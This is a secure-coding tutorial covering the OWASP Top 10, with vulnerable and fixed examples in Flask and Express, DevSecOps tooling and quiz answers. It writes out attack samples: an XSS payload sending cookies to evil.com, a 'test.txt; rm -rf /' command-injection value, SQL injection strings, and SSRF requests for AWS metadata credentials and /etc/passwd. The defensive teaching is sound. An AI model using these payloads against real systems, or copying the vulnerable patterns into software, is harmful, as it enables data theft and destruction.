kavklaw@llm $ cat secure-coding-guide.md
โฑ๏ธ 30 min read ยท Write code that attackers can't exploit โ from the OWASP Top 10 to DevSecOps
This guide is language-agnostic โ the principles apply to any stack. Code examples use Python (Flask) and JavaScript (Node.js/Express) because they're the most widely understood, but the same patterns apply to Java, Go, Ruby, PHP, and everything else.
Useful tooling to have:
npm audit (Node.js), pip-audit (Python), Snyk (multi-language, free tier)None of these are required to learn from this guide โ you can read it straight through. But if you're writing production code, integrate at least one SAST tool and dependency scanner into your workflow.
Writing code right now and want to make it secure? Follow these rules:
The 7 Golden Rules of Secure Coding:
Quick security checklist for any web app:
Every data breach, every ransomware attack, every compromised account traces back to a vulnerability. And the majority of vulnerabilities are introduced during development โ through insecure code. The cost of fixing a vulnerability increases exponentially the later it's found:
Secure coding isn't about bolting on security after the fact. It's about building security into the development process from the start. The OWASP Top 10 (from the Open Web Application Security Project, a nonprofit that publishes security guidance) is the industry-standard list of the most critical web application security risks. If you learn nothing else about web security, learn these ten.
| # | Category | Change |
|---|---|---|
| A01 | Broken Access Control | โฒ was #5 |
| A02 | Cryptographic Failures | โฒ was #3 |
| A03 | Injection | โผ was #1 |
| A04 | Insecure Design | โ NEW |
| A05 | Security Misconfiguration | โฒ was #6 |
| A06 | Vulnerable & Outdated Components | โฒ was #9 |
| A07 | Identification & Auth Failures | โผ was #2 |
| A08 | Software & Data Integrity | โ NEW |
| A09 | Security Logging & Monitoring | โฒ was #10 |
| A10 | Server-Side Request Forgery | โ NEW |
Key trends: Broken Access Control is now #1. Injection dropped from #1 to #3 (frameworks help, but it's still critical). Three NEW categories reflect modern attack patterns.
The #1 web application vulnerability. Access control enforces that users can only access what they're authorized to. When it breaks, attackers can access other users' data, admin functions, or perform unauthorized actions. One of the most common forms is called IDOR (Insecure Direct Object Reference) โ where you simply change an ID number in a URL to access someone else's data.
# โ VULNERABLE: Direct Object Reference (IDOR)
# Python/Flask โ user can access any profile by changing the ID
@app.route('/api/profile/<user_id>')
def get_profile(user_id):
user = db.query(f"SELECT * FROM users WHERE id = {user_id}")
return jsonify(user)
# Problem: No check if the logged-in user is authorized to view this profile
# Attack: Change user_id from 1 to 2, 3, 4... to view other users' data
# โ
SECURE: Authorization check
@app.route('/api/profile/<user_id>')
@login_required
def get_profile(user_id):
# Verify the requesting user owns this profile or is admin
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # Forbidden
user = db.query("SELECT * FROM users WHERE id = %s", (user_id,))
return jsonify(user)
# โ VULNERABLE: Missing function-level access control
# JavaScript/Express โ admin endpoint accessible to any authenticated user
app.get('/admin/delete-user/:id', isAuthenticated, (req, res) => {
db.deleteUser(req.params.id);
res.json({ success: true });
});
# โ
SECURE: Role-based access control
app.get('/admin/delete-user/:id', isAuthenticated, isAdmin, (req, res) => {
db.deleteUser(req.params.id);
auditLog.record('user_deleted', req.user.id, req.params.id);
res.json({ success: true });
});
function isAdmin(req, res, next) {
if (req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
next();
}
๐ก Pro Tip: Default to DENY. Every endpoint should require explicit authorization. If you forget to add an access control check, the default behavior should be to block access, not allow it. Implement access control as middleware that runs on every request.
Formerly "Sensitive Data Exposure." Covers failures in cryptography that lead to data exposure: weak algorithms, improper key management, transmitting data in cleartext.
# โ VULNERABLE: Storing passwords as MD5 (Python)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# Problem: MD5 is fast โ easily cracked with rainbow tables
# "password123" โ "482c811da5d5b4bc6d497ffa98491e38" (cracked instantly)
# โ
SECURE: Using bcrypt with salt (Python)
import bcrypt
# Hashing
password_hash = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt(rounds=12))
# Verification
if bcrypt.checkpw(password.encode('utf-8'), stored_hash):
print("Login successful")
# bcrypt is intentionally SLOW โ 12 rounds โ 250ms per hash
# Rainbow tables don't work (each hash has a unique salt)
# โ VULNERABLE: Hardcoded encryption key (JavaScript)
const key = "MySuperSecretKey123"; // In source code!
const encrypted = CryptoJS.AES.encrypt(data, key);
# โ
SECURE: Key from environment/vault
const key = process.env.ENCRYPTION_KEY; // From environment variable
// Better: Use AWS KMS, Azure Key Vault, HashiCorp Vault
// Best: Use envelope encryption โ encrypt data key with master key
# โ VULNERABLE: HTTP for sensitive data
<form action="http://example.com/login" method="POST">
# Problem: Credentials transmitted in cleartext
# โ
SECURE: HTTPS everywhere with HSTS
# Nginx config:
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Force HTTPS redirect:
# server { listen 80; return 301 https://$host$request_uri; }
Injection held the #1 spot for years and is still a major threat. It happens when untrusted data is sent to an interpreter as part of a command or query. SQL injection is the most famous, but injection exists in many forms.
# โ VULNERABLE: SQL Injection (Python)
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
# Attack: username = ' OR '1'='1' --
# Query becomes: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# Returns ALL users!
# โ
SECURE: Parameterized Query (Python)
username = request.form['username']
query = "SELECT * FROM users WHERE username = %s"
result = db.execute(query, (username,))
# The database treats the parameter as DATA, never as SQL code
# Even if username = "' OR '1'='1' --", it's treated as a literal string
# โ VULNERABLE: SQL Injection (JavaScript/Node.js)
const query = `SELECT * FROM products WHERE id = ${req.params.id}`;
db.query(query);
# โ
SECURE: Parameterized Query (Node.js)
db.query('SELECT * FROM products WHERE id = ?', [req.params.id]);
// Or with an ORM (Sequelize, Prisma) that handles parameterization
# โ VULNERABLE: Command Injection (Python)
import os
filename = request.args.get('file')
os.system(f"cat /uploads/{filename}")
# Attack: filename = "test.txt; rm -rf /"
# Executes: cat /uploads/test.txt; rm -rf /
# โ
SECURE: Use safe APIs, validate input
import subprocess
filename = request.args.get('file')
# Validate: only allow alphanumeric + dots, no path traversal
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
abort(400)
# Use subprocess with list args (no shell interpretation)
result = subprocess.run(['cat', f'/uploads/{filename}'], capture_output=True)
# โ VULNERABLE: XSS (Cross-Site Scripting) โ JavaScript
document.getElementById('greeting').innerHTML = 'Hello, ' + username;
// Attack: username = '<script>document.location="http://evil.com/steal?c="+document.cookie</script>'
# โ
SECURE: Use textContent or proper encoding
document.getElementById('greeting').textContent = 'Hello, ' + username;
// textContent treats input as text, NOT as HTML
// In templates: use auto-escaping (Jinja2, React JSX, etc.)
โ ๏ธ Critical Rule: NEVER build SQL queries by concatenating strings with user input. Use parameterized queries (prepared statements) for every database interaction. This single practice eliminates SQL injection entirely. Every major language and framework supports parameterized queries.
New in 2021, this category targets design-level flaws that can't be fixed by better implementation. It's about missing security requirements and flawed application logic.
Examples of insecure design:
Design principles:
Common misconfigurations:
debug=True exposes Werkzeug debugger (RCE!), Django DEBUG=True exposes stack traces. โ
Always disable in production.autoindex on; shows all files. โ
Set autoindex off;# Always disable debug in production:
app.run(debug=False)
# Django: DEBUG = False, ALLOWED_HOSTS = ['yourdomain.com']
80% of modern applications are composed of third-party libraries. One vulnerable dependency = your entire application is vulnerable.
# JavaScript/Node.js
npm audit # Built-in audit
npm audit fix # Auto-fix where possible
npx snyk test # Snyk (more thorough)
# Python
pip-audit # Scan installed packages
safety check # Check requirements.txt
# Java/Maven
mvn org.owasp:dependency-check-maven:check
# Ruby
bundle audit check
Best practices:
# โ VULNERABLE: Session management issues
# Session fixation: accepting session IDs from URL parameters
# Session not regenerated after login
# Session cookies without Secure/HttpOnly flags
# โ
SECURE: Proper session management (Python/Flask)
app.config.update(
SESSION_COOKIE_SECURE=True, # Only sent over HTTPS
SESSION_COOKIE_HTTPONLY=True, # Not accessible via JavaScript
SESSION_COOKIE_SAMESITE='Lax', # CSRF protection
PERMANENT_SESSION_LIFETIME=1800 # 30 min timeout
)
# Regenerate session after login:
@app.route('/login', methods=['POST'])
def login():
if authenticate(username, password):
session.regenerate() # Prevent session fixation
session['user_id'] = user.id
return redirect('/dashboard')
Authentication best practices:
# Integrity failures occur when code or data is used without
# verifying its integrity โ CI/CD pipelines, auto-updates,
# deserialization, and dependency management.
# โ VULNERABLE: Insecure Deserialization (Python)
import pickle
data = pickle.loads(user_input) # NEVER deserialize untrusted data!
# Pickle can execute arbitrary code during deserialization
# โ
SECURE: Use safe serialization formats
import json
data = json.loads(user_input) # JSON doesn't execute code
# โ VULNERABLE: Loading JavaScript from untrusted CDN without integrity check
<script src="https://cdn.example.com/jquery.min.js"></script>
# โ
SECURE: Subresource Integrity (SRI)
<script src="https://cdn.example.com/jquery.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
# Browser verifies the hash before executing โ tampered files are rejected
# === CI/CD Pipeline Security ===
# - Sign commits and artifacts
# - Verify checksums of downloaded dependencies
# - Lock dependency versions (package-lock.json, Pipfile.lock)
# - Secure CI/CD secrets (not in code, use vault)
# - Require code review before merge to main
# Without proper logging, you can't detect attacks or investigate incidents
# โ VULNERABLE: No logging of security events
def login(username, password):
user = authenticate(username, password)
if user:
return create_session(user)
return "Login failed" # No record of what happened
# โ
SECURE: Proper security logging (Python)
import logging
security_logger = logging.getLogger('security')
def login(username, password):
user = authenticate(username, password)
if user:
security_logger.info(f"Successful login: user={username}, ip={request.remote_addr}")
return create_session(user)
else:
security_logger.warning(f"Failed login: user={username}, ip={request.remote_addr}")
return "Login failed"
What to log:
What NOT to log:
Log sanitized versions or just note that the event occurred.
# Python Flask endpoint
@app.route('/search')
def search():
query = request.args.get('q')
results = db.execute(
f"SELECT * FROM products WHERE name LIKE '%{query}%'"
)
return render_template('results.html', results=results)
' UNION SELECT * FROM users -- to extract all user data. The fix is to use parameterized queries where the user input is passed as a separate parameter, not concatenated into the SQL string. The database engine treats the parameter as data, never as SQL code.npm audit checks your project's dependency tree against the npm Security Advisory database and reports known vulnerabilities. It categorizes findings by severity (critical, high, moderate, low) and suggests fixes. Run npm audit fix to automatically install compatible updates. For production applications, integrate this into your CI/CD pipeline to catch vulnerabilities before deployment.New in the 2021 Top 10. SSRF (Server-Side Request Forgery) happens when your web application fetches a URL that the user specifies, without checking where that URL actually points. Imagine a feature like "enter a URL to preview an image" โ if you don't validate the URL, an attacker can make your server fetch internal resources (like database admin panels or cloud credentials) that should never be accessible from the outside.
Attacker Web Server Internal Network
โ โ โ
โ /fetch?url=http:// โ โ
โ 169.254.169.254/creds โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โโโโโ fetches URL โโโโโโโโโโ
โ โ โ
โ โโโโ AWS credentials โโโโโโโ
โโโโ returns creds โโโโโโโโโ โ
โ โ โ
โ The server acts as a proxy to internal resources! โ
# โ VULNERABLE: Fetching user-supplied URL (Python)
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # Fetches ANY URL!
return response.text
# Attack: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Result: Steals AWS credentials from the EC2 metadata service!
# Attack: /fetch?url=http://localhost:6379/ โ Access internal Redis
# Attack: /fetch?url=file:///etc/passwd โ Read local files
# โ
SECURE: URL validation and allowlisting
from urllib.parse import urlparse
import ipaddress
ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
parsed = urlparse(url)
# Only allow HTTPS
if parsed.scheme != 'https':
abort(400, 'Only HTTPS URLs allowed')
# Only allow approved domains
if parsed.hostname not in ALLOWED_DOMAINS:
abort(400, 'Domain not in allowlist')
# Block internal IPs
try:
ip = ipaddress.ip_address(parsed.hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
abort(400, 'Internal addresses not allowed')
except ValueError:
pass # Not an IP, it's a hostname โ already checked against allowlist
response = requests.get(url, timeout=5)
return response.text
# Essential security headers for every web application
# Content-Security-Policy (CSP) โ prevents XSS by controlling what can execute
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
# Strict-Transport-Security (HSTS) โ force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# X-Frame-Options โ prevent clickjacking
X-Frame-Options: DENY
# Or: SAMEORIGIN (allow framing from same origin only)
# X-Content-Type-Options โ prevent MIME sniffing
X-Content-Type-Options: nosniff
# Referrer-Policy โ control what's sent in Referer header
Referrer-Policy: strict-origin-when-cross-origin
# Permissions-Policy โ control browser features
Permissions-Policy: camera=(), microphone=(), geolocation=()
# === Nginx Configuration ===
server {
# ... server config ...
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
# Test your headers: https://securityheaders.com
These are the two main types of automated security testing. Think of SAST as proofreading your code before running it, and DAST as testing the finished application by poking at it from the outside:
Analyzes source code without running the application. Finds: SQL injection, XSS, buffer overflows, hardcoded secrets. Run during development (IDE plugins, CI/CD pipeline).
# Semgrep scan
semgrep --config=auto . # Scan current directory
semgrep --config=p/owasp-top-ten . # OWASP-focused rules
Tests the running application from the outside. Finds: XSS, injection, misconfigurations, auth issues. Run after deployment (staging environment).
# ZAP scan
zap-cli quick-scan https://staging.example.com
zap-cli active-scan https://staging.example.com
Combines SAST and DAST โ instruments the running app. Finds issues with high accuracy and low false positives. Tools: Contrast Security, Hdiv, Checkmarx IAST.
Best practice: Use BOTH SAST and DAST in your pipeline. SAST catches issues during development (shift left). DAST validates the deployed application.
DevSecOps (Development + Security + Operations) means building security checks into your development pipeline so that vulnerabilities are caught automatically before code reaches production. Instead of a separate security review at the end, you add automated scanning at every stage:
Code โโโ Commit โโโ Build โโโ Test โโโ Deploy โโโ Monitor
โ โ โ โ โ โ
โผ โผ โผ โผ โผ โผ
IDE Secret SAST DAST Config Runtime
plugin scanning + Dep. + Pen audit monitoring
(pre- scan test (WAF, SIEM)
commit)
# === Pre-Commit Hooks ===
# Prevent secrets from being committed
# .pre-commit-config.yaml:
repos:
- repo: https://github.com/Yelp/detect-secrets
hooks:
- id: detect-secrets
- repo: https://github.com/pre-commit/pre-commit-hooks
hooks:
- id: detect-aws-credentials
- id: detect-private-key
# === CI/CD Pipeline Security Checks ===
# GitHub Actions example:
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: SAST - Semgrep
uses: returntocorp/semgrep-action@v1
with:
config: p/owasp-top-ten
- name: Dependency Scan
run: npm audit --audit-level=high
- name: Secret Scan
uses: trufflesecurity/trufflehog@main
with:
path: ./
- name: Container Scan
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
severity: 'CRITICAL,HIGH'
1. Input Validation
2. Output Encoding
3. Authentication
4. Authorization
5. Data Protection
6. Error Handling
7. Dependencies
โ Mistake #1: "Security is QA's job."
Security must be built in during development, not tested in after. By the time QA finds a vulnerability, it's already 10x more expensive to fix. Every developer needs to understand the OWASP Top 10.
โ Mistake #2: Client-side validation only.
JavaScript validation is for user experience, not security. An attacker can bypass all client-side checks with a simple proxy (Burp Suite). Always validate on the server.
โ Mistake #3: Rolling your own crypto.
Never implement your own encryption, hashing, or authentication systems. Use established, well-tested libraries. Cryptography is incredibly easy to get wrong in subtle ways that create exploitable vulnerabilities.
โ Mistake #4: Security through obscurity.
Hiding admin panels at/super-secret-adminor using obfuscated parameter names doesn't provide security. Assume the attacker knows your code. Real security comes from proper access controls, encryption, and input validation.
โ Mistake #5: Ignoring dependency vulnerabilities.
Your application is only as secure as its weakest dependency. If a library you use has a critical CVE, your application is vulnerable. Scan dependencies in CI/CD and keep them updated.
โ Mistake #6: Verbose error messages in production.
Stack traces, SQL errors, and internal paths exposed to users provide attackers with valuable reconnaissance data. Return generic errors to users and log detailed errors internally.
โ Mistake #7: Not using security headers.
Security headers like CSP, HSTS, X-Frame-Options, and X-Content-Type-Options are free defense layers. They take minutes to configure and prevent entire categories of attacks. Check your headers at securityheaders.com.
// Node.js Express app
app.get('/fetch', async (req, res) => {
const url = req.query.url;
const response = await fetch(url);
const data = await response.text();
res.send(data);
});
http://169.254.169.254/ (cloud metadata with credentials), http://localhost:6379/ (internal Redis), or file:///etc/passwd (local files). Fix: validate the URL against an allowlist of permitted domains, block internal/private IP ranges, and only allow HTTPS.X-Frame-Options: DENY prevents the page from being embedded in any iframe, protecting against clickjacking attacks. SAMEORIGIN allows framing only from the same origin. The modern equivalent is Content-Security-Policy: frame-ancestors 'none', which offers more granular control. Both are effective โ use CSP frame-ancestors for new applications, X-Frame-Options for broader browser compatibility.